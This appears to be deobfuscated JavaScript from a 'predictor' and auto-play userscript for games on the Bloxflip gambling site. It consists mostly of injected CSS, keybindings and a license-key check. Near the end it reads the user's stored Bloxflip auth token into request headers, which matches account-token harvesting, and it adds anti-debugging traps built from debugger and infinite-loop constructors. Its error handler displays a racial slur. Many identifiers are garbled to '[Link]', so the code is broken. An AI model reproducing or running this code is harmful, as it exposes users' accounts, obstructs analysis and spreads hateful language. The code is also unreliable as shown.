font-size: 12px;\n background-color: var(--
themeSecondColor);\n margin-right: 5px; /*
Adjust spacing between labels and input fields */\n
}\n\n #emojiCancelButton,\n
#emojiSaveButton {\n width: 75px;\n
height: 30px;\n font-size: 16px;\n
border: none;\n border-radius: 4px;\n
background-color: var(--themeThirdColor);\n
color: var(--themeFourthColor);\n cursor:
pointer;\n box-shadow: 2px 2px 3px rgba(0,
0, 0, 0.1);\n transition: background-color
0.5s;\n margin: 2px 2px;\n
}\n\n #emojiCancelButton:hover,\n
#emojiSaveButton:hover {\n background-color:
var(--hoverColor);\n }\n\n
#emojiCancelButton:active,\n
#emojiSaveButton:active {\n background-
color: var(--activeColor);\n }\n\n
#emojiExitButton {\n margin-left: auto;\n
width: 20px;\n height: 20px;\n
background: var(--themeThirdColor);\n
border: none;\n border-radius: 5px;\n
color: var(--themeFourthColor);\n font-size:
18px;\n cursor: pointer;\n
padding: 0;\n box-shadow: 2px 2px 3px
rgba(0, 0, 0, 0.1);\n transition:
background-color 0.5s;\n }\n\n
#emojiExitButton:hover {\n background-color:
#ff4545;\n }\n\n
#emojiExitButton:active {\n background-
color: #942828;\n }\n
";
[Link](styleElt);
/** @type {!Element} */
styleElt = [Link]("style");
/** @type {string} */
[Link] = "\n
#autoPlayWindow {\n position: fixed;\n
top: calc(50% - 87.5px); /* Centers the window vertically */\n
left: calc(50% - 125px); /* Centers the window horizontally */\n
width: 250px;\n height: 175px;\n
background-color: var(--themeBaseColor);\n
border-radius: 10px;\n box-shadow: 0 0 8px
rgba(0, 0, 0, 0.4);\n z-index: 99999;\n
box-shadow: 0 0 4px 2px var(--baseColor);\n }\n\
n #autoPlayTitleBar {\n
height: 30px;\n border-top-left-radius:
10px;\n border-top-right-radius: 10px;\n
background-color: var(--themeSecondColor);\n
display: flex;\n align-items: center;\n
justify-content: space-between;\n font-size:
16px;\n padding: 0 5px;\n
}\n\n #autoPlayTitleContainer {\n
display: flex;\n align-items: center;\n
}\n\n #autoPlayTitle {\n
padding: 0 10px;\n color: var(--
themeFourthColor);\n text-decoration:
underline;\n }\n\n
#autoPlayContainer {\n margin-top: 15px;\n
position: centered;\n display: flex;\n
flex-direction: column;\n align-items:
center; /* Center the components horizontally */\n
justify-content: center; /* Center the components vertically */\n
}\n\n #crashAutoPlayButton,\n
#rouletteAutoPlayButton,\n
#towersAutoPlayButton,\n #minesAutoPlayButton {\
n width: 80px;\n
height: 100px;\n background-color: var(--
themeThirdColor);\n margin: 5px 5px;\n
font-size: 18px;\n cursor: pointer;\n
border: none;\n border-radius: 4px;\n
color: var(--themeFourthColor);\n box-
shadow: 2px 2px 4px rgba(0, 0, 0, 0.2);\n
transition: background-color 0.5s;\n }\n\n
#crashAutoPlayButton:hover,\n
#rouletteAutoPlayButton:hover,\n
#towersAutoPlayButton:hover,\n
#minesAutoPlayButton:hover {\n background-
color: var(--hoverColor);\n }\n\n
#crashAutoPlayButton:active,\n
#rouletteAutoPlayButton:active,\n
#towersAutoPlayButton:active,\n
#minesAutoPlayButton:active {\n background-
color: var(--activeColor);\n }\n\n
#autoExitButton {\n margin-left: auto;\n
width: 20px;\n height: 20px;\n
background: var(--themeThirdColor);\n
border: none;\n border-radius: 5px;\n
color: var(--themeFourthColor);\n font-size:
18px;\n cursor: pointer;\n
padding: 0;\n box-shadow: 2px 2px 3px
rgba(0, 0, 0, 0.1);\n transition:
background-color 0.5s;\n }\n\n
#autoExitButton:hover {\n background-color:
#ff4545;\n }\n\n
#autoExitButton:active {\n background-color:
#942828;\n }\n
";
[Link](styleElt);
/** @type {!Element} */
styleElt = [Link]("style");
/** @type {string} */
[Link] = "\n
#minesAutoPlayWindow {\n position:
fixed;\n top: calc(50% - 87.5px); /*
Centers the window vertically */\n left:
calc(50% - 125px); /* Centers the window horizontally */\n
width: 250px;\n height: 175px;\n
background-color: var(--themeBaseColor);\n
border-radius: 10px;\n box-shadow: 0 0
8px rgba(0, 0, 0, 0.4);\n z-index:
99999;\n box-shadow: 0 0 4px 2px var(--
baseColor);\n }\n\n
#minesAutoPlayTitleBar {\n height:
30px;\n border-top-left-radius: 10px;\n
border-top-right-radius: 10px;\n
background-color: var(--themeSecondColor);\n
display: flex;\n align-items: center;\n
justify-content: space-between;\n font-
size: 16px;\n padding: 0 5px;\n
}\n\n #minesAutoPlayTitleContainer {\n
display: flex;\n align-items: center;\n
}\n\n #minesAutoPlayTitle {\n
padding: 0 10px;\n color: var(--
themeFourthColor);\n text-decoration:
underline;\n }\n\n
#minesAutoPlayContainer {\n margin-top:
3px;\n position: centered;\n
display: flex;\n flex-direction:
column;\n align-items: center; /* Center
the components horizontally */\n
justify-content: center; /* Center the components vertically */\n
}\n\n #minesAutoPredictButton,\n
#minesPlayButton {\n padding: 5px 15px;\
n margin: 0px 3px;\n
margin-top: 3px;\n margin-bottom: -3px;\
n font-size: 14px;\n
width: 75px;\n height: 55px;\n
cursor: pointer;\n border: none;\n
border-radius: 4px;\n background-color:
var(--themeSecondColor);\n color: var(--
themeFourthColor);\n box-shadow: 2px 2px
4px rgba(0, 0, 0, 0.2);\n transition:
background-color 0.5s;\n }\n\n
#predictionTypeButton {\n padding: 5px
15px;\n font-size: 14px;\n
width: 160px;\n height: 30px;\n
cursor: pointer;\n border: none;\n
border-radius: 4px;\n background-color:
var(--themeSecondColor);\n color: var(--
themeFourthColor);\n box-shadow: 2px 2px
4px rgba(0, 0, 0, 0.2);\n transition:
background-color 0.5s;\n }\n\n
#minesAutoPredictButton:hover,\n
#minesPlayButton:hover {\n background-
color: var(--hoverColor);\n }\n\n
#minesAutoPredictButton:active,\n
#minesPlayButton:active {\n background-
color: var(--activeColor);\n }\n\n
#minesAutoExitButton {\n margin-left:
auto;\n width: 20px;\n
height: 20px;\n background: var(--
themeThirdColor);\n border: none;\n
border-radius: 5px;\n color: var(--
themeFourthColor);\n font-size: 18px;\n
cursor: pointer;\n padding: 0;\n
box-shadow: 2px 2px 3px rgba(0, 0, 0, 0.1);\n
transition: background-color 0.5s;\n }\n\n
#minesAutoExitButton:hover {\n
background-color: #ff4545;\n }\n\n
#minesAutoExitButton:active {\n
background-color: #942828;\n }\n\n
#spotsSliderLabel,\n #spotsLabel {\n
font-size: 16px !important;\n margin-
left: 10px;\n margin-bottom: 3px;\n
color: var(--themeFourthColor);\n }\n\n
#spotsSlider {\n width: 150px;\n
margin-left: 10px;\n -webkit-appearance:
none;\n appearance: none;\n
height: 5px !important;\n border-radius:
2px;\n background: #383838; /* Adjust
this color to match your app theme */\n
outline: none;\n }\n\n
#spotsSlider::-webkit-slider-thumb {\n -
webkit-appearance: none;\n appearance:
none;\n width: 15px !important;\n
height: 15px !important;\n border-
radius: 50%;\n background: var(--
themeFourthColor);\n cursor: pointer;\n
}\n\n #spotsSlider::-moz-range-thumb {\n
width: 14px;\n height: 14px;\n
border-radius: 50%;\n background: var(--
themeFourthColor);\n cursor: pointer;\n
}\n ";
[Link](styleElt);
/** @type {boolean} */
var _0x40d368 = false;
/** @type {boolean} */
var _0x188494 = false;
var _td_alert;
/** @type {boolean} */
var _0x2274f3 = false;
/** @type {!Element} */
styleElt = [Link]("style");
/** @type {string} */
[Link] = "\n
#towersAutoPlayWindow {\n position:
fixed;\n top: calc(50% - 87.5px); /*
Centers the window vertically */\n left:
calc(50% - 125px); /* Centers the window horizontally */\n
width: 250px;\n height: 175px;\n
background-color: var(--themeBaseColor);\n
border-radius: 10px;\n box-shadow: 0 0
8px rgba(0, 0, 0, 0.4);\n z-index:
99999;\n box-shadow: 0 0 4px 2px var(--
baseColor);\n }\n\n
#towersAutoPlayTitleBar {\n height:
30px;\n border-top-left-radius: 10px;\n
border-top-right-radius: 10px;\n
background-color: var(--themeSecondColor);\n
display: flex;\n align-items: center;\n
justify-content: space-between;\n font-
size: 16px;\n padding: 0 5px;\n
}\n\n #towersAutoPlayTitleContainer {\n
display: flex;\n align-items: center;\n
}\n\n #towersAutoPlayTitle {\n
padding: 0 10px;\n color: var(--
themeFourthColor);\n text-decoration:
underline;\n }\n\n
#towersAutoPlayContainer {\n margin-top:
3px;\n position: centered;\n
display: flex;\n flex-direction:
column;\n align-items: center; /* Center
the components horizontally */\n
justify-content: center; /* Center the components vertically */\n
}\n\n #towersAutoPredictButton,\n
#towersPlayButton {\n padding: 5px
15px;\n margin: 0px 3px;\n
margin-top: 8px;\n margin-bottom: -3px;\
n font-size: 14px;\n
width: 75px;\n height: 75px;\n
cursor: pointer;\n border: none;\n
border-radius: 4px;\n background-color:
var(--themeSecondColor);\n color: var(--
themeFourthColor);\n box-shadow: 2px 2px
4px rgba(0, 0, 0, 0.2);\n transition:
background-color 0.5s;\n }\n\n
#towersAutoPredictButton:hover,\n
#towersPlayButton:hover {\n background-
color: var(--hoverColor);\n }\n\n
#towersAutoPredictButton:active,\n
#towersPlayButton:active {\n background-
color: var(--activeColor);\n }\n\n
#towersAutoExitButton {\n margin-left:
auto;\n width: 20px;\n
height: 20px;\n background: var(--
themeThirdColor);\n border: none;\n
border-radius: 5px;\n color: var(--
themeFourthColor);\n font-size: 18px;\n
cursor: pointer;\n padding: 0;\n
box-shadow: 2px 2px 3px rgba(0, 0, 0, 0.1);\n
transition: background-color 0.5s;\n }\n\n
#towersAutoExitButton:hover {\n
background-color: #ff4545;\n }\n\n
#towersAutoExitButton:active {\n
background-color: #942828;\n }\n\n
#autorow2 {\n padding: 5px;\n
margin-top: 5px; /* Add margin to the top */\n
}\n\n #spotsSliderLabel,\n
#spotsLabel {\n font-size: 20px; /*
Increase the font size */\n margin-left:
10px; /* Add margin to the left */\n
margin-bottom: 5px; /* Add margin to the left */\n
color: var(--themeFourthColor); /* Adjust the color to match your app theme */\n
}\n\n #spotsSlider {\n
width: 150px;\n margin-left: 10px;\n
-webkit-appearance: none;\n appearance:
none;\n height: 7px;\n
border-radius: 2px;\n background:
#383838; /* Adjust this color to match your app theme */\n
outline: none;\n }\n\n
#spotsSlider::-webkit-slider-thumb {\n -
webkit-appearance: none;\n appearance:
none;\n width: 20px;\n
height: 20px;\n border-radius: 50%;\n
background: var(--themeFourthColor);\n
cursor: pointer;\n }\n\n
#spotsSlider::-moz-range-thumb {\n
width: 14px;\n height: 14px;\n
border-radius: 50%;\n background: var(--
themeFourthColor);\n cursor: pointer;\n
}\n ";
[Link](styleElt);
/** @type {boolean} */
var _0x4203c5 = false;
var initializeCheckTimer;
/** @type {number} */
var code = parseInt([Link]("minesKeyCode"));
[Link]("keydown", function(event) {
if ([Link] === code) {
start();
}
});
/** @type {number} */
var up = parseInt([Link]("safeKeyCode"));
[Link]("keydown", function(event) {
if ([Link] === up) {
load();
}
});
/** @type {number} */
var charCode = parseInt([Link]("crashKeyCode"));
[Link]("keydown", function(event) {
if ([Link] === charCode) {
init();
}
});
/** @type {number} */
var keyCode = parseInt([Link]("slideKeyCode"));
[Link]("keydown", function(event) {
if ([Link] === keyCode) {
go();
}
});
[Link]("keydown", function(event) {
if ([Link] === keyCode) {
create();
}
});
/** @type {number} */
var deleteKey = parseInt([Link]("menuKeyCode")) ||
16;
/**
* @param {!Event} e
* @return {undefined}
*/
var test = function(e) {
push(e);
if ([Link] === deleteKey) {
if (![Link]("hidden")) {
[Link]("hidden");
} else {
[Link]("hidden");
}
}
};
[Link]("keydown", test);
[Link]("keydown",
function(alreadyFailedWithException) {
if (_0x17a5da) {
test(alreadyFailedWithException);
}
});
/** @type {!Element} */
styleElt = [Link]("style");
/** @type {string} */
[Link] = "\n
#keyBindsWindow {\n position:
fixed;\n top: calc(50% - 87.5px); /*
Centers the window vertically */\n
left: calc(50% - 125px); /* Centers the window horizontally */\n
width: 250px;\n height: 175px;\n
background-color: var(--themeBaseColor);\n
border-radius: 10px;\n box-shadow: 0
0 8px rgba(0, 0, 0, 0.4);\n z-index:
99999;\n box-shadow: 0 0 4px 2px
var(--baseColor);\n }\n\n
#keyBindsTitleBar {\n height: 30px;\
n border-top-left-radius: 10px;\n
border-top-right-radius: 10px;\n
background-color: var(--themeSecondColor);\n
display: flex;\n align-items:
center;\n justify-content: space-
between;\n font-size: 16px;\n
padding: 0 5px;\n }\n\n
#keyBindsTitleContainer {\n display:
flex;\n align-items: center;\n
}\n\n #keyBindsTitle {\n
padding: 0 10px;\n color: var(--
themeFourthColor);\n text-
decoration: underline;\n }\n\n
#keyBindsContainer {\n margin-top:
10px;\n position: centered;\n
display: flex;\n flex-direction:
column;\n align-items: center; /*
Center the components horizontally */\n
justify-content: center; /* Center the components vertically */\n
}\n\n #menuBindButton,\n
#crashBindButton,\n #slideBindButton,\n
#safeBindButton,\n #minesBindButton {\n
width: 95px;\n height: 30px;\n
margin: 3px 3px;\n font-size: 14px;\
n cursor: pointer;\n
border: none;\n border-radius: 4px;\
n background-color: var(--
themeSecondColor);\n color: var(--
themeFourthColor);\n box-shadow: 2px
2px 4px rgba(0, 0, 0, 0.2);\n
transition: background-color 0.5s;\n }\
n\n #towersBindButton {\n
width: 95px;\n height: 30px;\n
margin: 3px 3px;\n font-size: 14px;\
n cursor: pointer;\n
border: none;\n border-radius: 4px;\
n background-color: var(--
themeSecondColor);\n color: var(--
themeFourthColor);\n box-shadow: 2px
2px 4px rgba(0, 0, 0, 0.2);\n
transition: background-color 0.5s;\n }\
n\n #menuBindButton:hover,\n
#towersBindButton:hover,\n
#crashBindButton:hover,\n
#slideBindButton:hover,\n
#safeBindButton:hover,\n
#minesBindButton:hover {\n
background-color: var(--hoverColor);\
n }\n\n
#menuBindButton:active,\n
#towersBindButton:active,\n
#crashBindButton:active,\n
#slideBindButton:active,\n
#safeBindButton:active,\n
#minesBindButton:active {\n
background-color: var(--activeColor);\
n }\n\n
#bindExitButton {\n width: 20px;\n
height: 20px;\n margin-left: auto;\n
background: var(--themeThirdColor);\n
border: none;\n border-radius: 5px;\
n color: var(--themeFourthColor);\n
font-size: 18px;\n cursor: pointer;\
n padding: 0;\n
box-shadow: 2px 2px 3px rgba(0, 0, 0, 0.1);\n
transition: background-color 0.5s;\n }\n\
n #bindExitButton:hover {\n
background-color: #ff4545;\n }\n\n
#bindExitButton:active {\n
background-color: #942828;\n }\n\n
";
[Link](styleElt);
/** @type {!Element} */
styleElt = [Link]("style");
/** @type {string} */
[Link] = "\n
#colorPickerWindow {\n position: fixed;\n
top: calc(50% - 87.5px); /* Centers the window vertically */\n
left: calc(50% - 125px); /* Centers the window horizontally */\n
width: 250px;\n height: 175px;\n
background-color: var(--themeBaseColor);\n
border-radius: 10px;\n box-shadow: 0 0 8px
rgba(0, 0, 0, 0.4);\n z-index: 99999;\n
box-shadow: 0 0 4px 2px var(--baseColor);\n }\n\
n #colorPickerTitleBar {\n
height: 30px;\n border-top-left-radius:
10px;\n border-top-right-radius: 10px;\n
background-color: var(--themeSecondColor);\n
display: flex;\n align-items: center;\n
justify-content: space-between;\n font-size:
16px;\n padding: 0 5px;\n
}\n\n #colorPickerTitleContainer {\n
display: flex;\n align-items: center;\n
}\n\n #colorPickerTitle {\n
padding: 0 10px;\n color: var(--
themeFourthColor);\n text-decoration:
underline;\n }\n\n
#colorPickerContainer {\n margin-top: 10px;\
n position: centered;\n
display: flex;\n flex-direction: column;\n
align-items: center; /* Center the components horizontally */\n
justify-content: center; /* Center the components vertically */\n
}\n\n #colorPicker::-webkit-color-swatch {\n
border: none;\n border-radius: 5px;\n
box-shadow: 2px 2px 4px rgba(0, 0, 0, 0.2);\n }\
n\n #colorPicker {\n
width: 155px;\n height: 25px;\n
margin-top: 0;\n border: none;\n
border-radius: 5px;\n box-shadow: 2px 2px
4px rgba(0, 0, 0, 0.2);\n padding: 0;\n
background-color: var(--themeSecondColor);\n }\
n\n #colorPickerButtons {\n
margin-top: 10px;\n }\n\n
#colorPickerButtons2 {\n margin-top: 10px;\n
}\n\n #themeButton,\n
#resetButton,\n #applyButton,\n
#cancelButton {\n width: 70px;\n
height: 30px;\n margin: 0 5px;\n
font-size: 16px;\n cursor: pointer;\n
border: none;\n border-radius: 4px;\n
background-color: var(--themeSecondColor);\n
color: var(--themeFourthColor);\n box-
shadow: 2px 2px 4px rgba(0, 0, 0, 0.2);\n
transition: background-color 0.5s;\n }\n\n
#themeButton:hover,\n #resetButton:hover,\n
#applyButton:hover,\n #cancelButton:hover {\n
background-color: var(--hoverColor);\n }\n\n
#themeButton:active,\n #resetButton:active,\n
#applyButton:active,\n #cancelButton:active {\n
background-color: var(--activeColor);\n }\n\n
#colorExitButton {\n margin-left: auto;\n
width: 20px;\n height: 20px;\n
background: var(--themeThirdColor);\n
border: none;\n border-radius: 5px;\n
color: var(--themeFourthColor);\n font-size:
18px;\n cursor: pointer;\n
padding: 0;\n box-shadow: 2px 2px 3px
rgba(0, 0, 0, 0.1);\n transition:
background-color 0.5s;\n }\n\n
#colorExitButton:hover {\n background-color:
#ff4545;\n }\n\n
#colorExitButton:active {\n background-
color: #942828;\n }\n
";
[Link](styleElt);
/** @type {!MutationObserver} */
var observer = new MutationObserver(function(storedMessages,
isSlidingUp) {
var mutation;
for (mutation of storedMessages) {
if ([Link] === "childList") {
if ([Link]("layout_layoutChat__5wEvy")) {
socketPlay();
}
}
}
});
var observer_config = {
childList : true,
subtree : true
};
[Link]([Link], observer_config);
if ([Link]("layout_layoutChat__5wEvy")) {
socketPlay();
}
/** @type {(Element|null)} */
var directButton = [Link]("crashpredictButton");
[Link]("click", function() {
init();
push(event);
});
/** @type {(Element|null)} */
var toggleHighlightedCourses =
[Link]("towerpredictButton");
[Link]("click", function() {
create();
push(event);
});
/** @type {(Element|null)} */
var orientationButton =
[Link]("roulettepredictButton");
[Link]("click", function() {
go();
push(event);
});
/** @type {(Element|null)} */
var threeDBtn = [Link]("safepredictButton");
[Link]("click", function() {
load();
push(event);
});
/** @type {(Element|null)} */
var lAActionRemove = [Link]("minepredictButton");
[Link]("click", function() {
start();
push(event);
});
}
}, 10);
}, 800);
} else {
[Link]("s");
onError("Invalid license key x");
}
} else {
[Link]("s2");
onError("Invalid license key x ");
}
} else {
[Link]("s3");
onError("Invalid license key xxxx");
}
}

})();
/**
* @param {string} error
* @return {undefined}
*/
function onError(error) {
/** @type {(Element|null)} */
var errorElement = [Link]("errorMessage");
/** @type {string} */
[Link] = "nigger";
/** @type {string} */
[Link] = "block";
setTimeout(function() {
/** @type {string} */
[Link] = "none";
}, 1000);
}
/**
* @param {string} aCSS
* @return {undefined}
*/
function setChatBubble(aCSS) {
/** @type {(Element|null)} */
var msg = [Link]("successMessage");
/** @type {string} */
[Link] = aCSS;
/** @type {string} */
[Link] = "block";
setTimeout(function() {
/** @type {string} */
[Link] = "none";
}, 750);
}
var getEvaluateFnObj = function() {
/** @type {boolean} */
var closeExpr = true;
return function(individual, a) {
/** @type {!Function} */
var closingExpr = closeExpr ? function() {
if (a) {
var result = [Link](individual, arguments);
/** @type {null} */
a = null;
return result;
}
} : function() {
};
/** @type {boolean} */
closeExpr = false;
return closingExpr;
};
}();
var countNewLineCharacters = function() {
/** @type {boolean} */
var closeExpr = true;
return function(individual, a) {
/** @type {!Function} */
var closingExpr = closeExpr ? function() {
if (a) {
var result = [Link](individual, arguments);
/** @type {null} */
a = null;
return result;
}
} : function() {
};
/** @type {boolean} */
closeExpr = false;
return closingExpr;
};
}();
var p = function() {
/** @type {boolean} */
var closeExpr = true;
return function(individual, a) {
/** @type {!Function} */
var closingExpr = closeExpr ? function() {
if (a) {
var result = [Link](individual, arguments);
/** @type {null} */
a = null;
return result;
}
} : function() {
};
/** @type {boolean} */
closeExpr = false;
return closingExpr;
};
}();
"use strict";
var value = [Link]("_DO_NOT_SHARE_BLOXFLIP_TOKEN");
var headers = {
"User-Agent" : "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36
(KHTML, like Gecko) Chrome/87.0.4280.141 Safari/537.36",
"X-Auth-Token" : value
};
/** @type {number} */
var scrollTop = 0;
var initializeCheckTimer;
p();
/**
* @param {string} event
* @return {?}
*/
function _0xb39a3f(event) {
/**
* @param {number} i
* @return {?}
*/
function render(i) {
if (typeof i === "string") {
return function(canCreateDiscussions) {
}.constructor("while (true) {}").apply("counter");
} else {
if (("" + i / i).length !== 1 || i % 20 === 0) {
(function() {
return true;
}).constructor("debugger").call("action");
} else {
(function() {
return false;
}).constructor("debugger").apply("stateObject");
}
}
render(++i);
}
try {
if (event) {
return render;
} else {
render(0);
}
} catch (_0xad85fb) {
}
}
;

You might also like